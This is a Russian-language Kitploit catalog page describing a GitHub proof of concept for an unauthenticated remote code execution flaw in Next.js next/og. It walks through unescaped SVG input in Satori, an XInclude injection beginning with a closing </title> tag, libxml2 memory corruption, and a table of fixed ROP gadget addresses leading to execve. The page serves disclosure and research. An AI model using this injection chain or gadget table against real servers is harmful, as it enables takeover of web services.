Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-94545- — Python PoC для CVE-2026-94545: эксплуатирует неэкранированный SVG-ввод в Next.js next/og, вызывая повреждение libxml2 и ROP-цепочку для неаутентифицированного RCE. | Kitploit
Инструменты/GitHubGitHub/mrdark-ops/cve-2026-94545-
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияШелл-кодЭксплуатация веб-приложенийВеб-безопасностьЭксплуатация Бинарных Файлов
GitHubmrdark-ops/cve-2026-94545-

CVE-2026-94545-

Python PoC для CVE-2026-94545: эксплуатирует неэкранированный SVG-ввод в Next.js next/og, вызывая повреждение libxml2 и ROP-цепочку для неаутентифицированного RCE.

Репозиторий
111 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-94545: Неаутентифицированное удалённое выполнение кода в next/og Next.js

Только для исследований в области безопасности, в авторизованных уязвимых средах.

ПунктЗначение
CVECVE-2026-94545 / GHSA-vcvr-r3jv-pc5j
Вышестоящий компонентSatori GHSA-wx4j-mvgx-mqwp
ПервопричинаCWE-116 (Некорректное кодирование или экранирование вывода) → повреждение памяти нативного XML-парсера → RCE
ЗатронутоNext.js 16.2.0 – 16.3.5 (среда выполнения Node с установленным sharp); встроенный Satori ≥ 0.0.27 и < 0.33.5
ИсправленоNext.js 16.3.6 / Satori 0.33.5
ВоздействиеВыполнение произвольных команд в процессе сервиса Next.js без аутентификации
Протестированный стекNext.js 16.3.5 + sharp 0.35.4 (libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3) + официальный x64-бинарник Node.js v24.20.0 (non-PIE)

При использовании среды выполнения Edge (export const runtime = 'edge') или если sharp не установлен, рендеринг проходит через песочницу resvg-wasm, поэтому данная уязвимость не достигает цепочки нативного парсинга и, следовательно, не приводит к RCE.

Цепочка уязвимости

Пользовательский ввод конкатенируется в SVG как обычный текст, после чего этот SVG целиком помещается в data: URL и передаётся XML-парсеру на языке C для второго раунда парсинга. Между этими этапами выполняется только URL-кодирование; экранирование XML никогда не производится.

Уровень 1: App Router — недоверенный ввод попадает в функцию рендеринга

Типичный шаблон: POST /api/og помещает всё тело запроса, или GET /api/og?value= помещает параметр запроса, непосредственно в SVG <title> элемента ImageResponse, без фильтрации или экранирования.

import { ImageResponse } from 'next/og'

export const runtime = 'nodejs'
export const dynamic = 'force-dynamic'

async function render(request) {
  const url = new URL(request.url)
  const value = request.method === 'POST'
    ? await request.text()
    : (url.searchParams.get('value') ?? '')
  return new ImageResponse(
    <svg width="1200" height="630"><title>{value}</title></svg>,
    { width: 1200, height: 630 }
  )
}

export const GET = render
export const POST = render

ImageResponse получает дерево элементов JSX и возвращает PNG. Любой маршрут, который записывает данные запроса в дочерние узлы / атрибуты / стили SVG, является точкой внедрения (sink).

Уровень 2: перенаправление точки входа next/og

node_modules/next/og.js перенаправляет на next/dist/server/og/image-response.js. Среда выполнения Node динамически загружает next/dist/compiled/@vercel/og/index.node.js (нативный путь); среда выполнения Edge загружает путь wasm и не подвержена этой уязвимости.

Уровень 3: @vercel/og — Satori генерирует SVG, а затем передаёт его на растеризацию

Поток встроенного в Next.js @vercel/og (комментарии в скомпилированном артефакте подтверждают, что он содержит [email protected]), выглядит так:

  1. Использовать Satori для сериализации дерева JSX в строку SVG.
  2. Если обнаружен sharp, передать SVG нативной библиотеке для растеризации; в противном случае использовать resvg-wasm.
const svg = await satori2(element, { width, height, fonts, ... })
if (sharp) {
  pngBuffer = await sharp(new TextEncoder().encode(svg)).resize(width).png().toBuffer()
} else {
  const resvgJS = new resvg.Resvg(svg, { fitTo: { mode: ... } })
}

На этом этапе пользовательский ввод уже стал строкой SVG и передаётся дословно в sharp (нативный libvips).

Уровень 4: Satori 0.25.0 — текст только URL-кодируется, но никогда не экранируется по правилам XML

Для <svg>, явно написанного в JSX, Satori сериализует его целиком в URL data:image/svg+xml, а затем встраивает в вывод как <image>.

vercel/[email protected] src/layout.ts: вызывает SVGNodeToImage при входе в узел <svg>.

src/handler/preprocess.ts содержит два ключевых изъяна:

const SVGSymbols = /[\r\n%#()<>?[\\\]^`{|}"']/g   // Only used for URI percent-encoding

export function translateSVGNodeToSVGString(node, inheritedColor) {
  if (typeof node !== 'object') return String(node)  // Flaw 1: string child nodes are returned as-is, with no XML entity escaping
  return `<${type}${attrs}${styles}>${translateSVGNodeToSVGString(children, currentColor)}</${type}>`
}

export async function SVGNodeToImage(element, inheritedColor) {
  return `data:image/svg+xml;utf8,${`<svg ...>...</svg>`.replace(SVGSymbols, encodeURIComponent)}`
  // Flaw 2: only URI percent-encoding is performed, not XML escaping
}

&, < и > не записываются как &amp; / &lt; / &gt;. Процентное кодирование — это лишь требование синтаксиса URL; когда нижестоящий парсер загружает URL data:, %3C/title%3E восстанавливается в настоящий </title>, и текст атакующего переходит из «данных» обратно в «структуру документа».

Когда входные данные имеют вид </title><xi:include …/><title>, промежуточный SVG, передаваемый Satori в sharp, принимает следующую форму (декодировано для наглядности):

<svg width="1200" height="630" viewBox="0 0 1200 630" xmlns="http://www.w3.org/2000/svg">
  <image x="0" y="0" width="1200" height="630"
     href="data:image/svg+xml;utf8,...<title></title><xi:include
           xmlns:xi='http://www.w3.org/2001/XInclude'
           href='data:image/svg+xml,...' parse='xml'/><title></title>..." />
</svg>

Уровень 5: sharp → libvips → librsvg → libxml2 — нативный парсинг и повреждение памяти

sharp(SVG buffer)
 → libvips  vips_foreign_load_svg_buffer()
 → librsvg  rsvg_handle_new_from_stream_with_flags()
              ├─ Parses the outer SVG
              ├─ When it encounters <image href="data:image/svg+xml,...">, loads and re-parses the sub-document
              └─ XML parsing is delegated to libxml2
 → libxml2  xmlStringLenDecodeEntities / xmlXIncludeProcessNode / xmlXIncludeLoadDoc

Полезная нагрузка использует два уровня инъекции для управления структурой ввода libxml2:

  1. Внешний </title><xi:include parse="xml" href="data:…"> заставляет парсер перейти к загрузке вложенного документа, полностью контролируемого атакующим.
  2. Внутри вложенного документа вложенные сущности DTD + XInclude затем используются для построения чрезмерно глубокого / широкого графа раскрытия и ссылок сущностей.

Внутреннее состояние libxml2 выводится за пределы ожидаемого, что приводит к записи за границы. Эффект повреждения надёжно достигается с помощью тщательно организованных последовательностей координат SVG <path> (IEEE-754 doubles, несущие 8-байтовые little-endian слова), тем самым перехватывая поток управления.

Уровень 6: ROP с фиксированными адресами для non-PIE Node → execve

Официально выпущенный бинарник Node.js linux-x64 является non-PIE исполняемым файлом с фиксированной базой загрузки; адреса PLT / GOT и гаджетов постоянны, поэтому утечка информации не требуется.

Этот PoC собран для Node.js v24.20.0 official x64; гаджеты следующие:

СимволАдресНазначение
POP_RDI0xA1EAEDpop rdi ; ret
POP_RAX0x7F38D4pop rax ; ret
POP_RSI0x95823Dpop rsi ; ret
POP_RDX0x776758pop rdx ; ret
STOSQ_RET0xD16725stosq ; ret (записывает в scratch-область по qword)
EXECVE_PLT0x745FA0PLT-заглушка execve
SCRATCH0x6B5F500Фиксированный адрес для записи
Скачать инструмент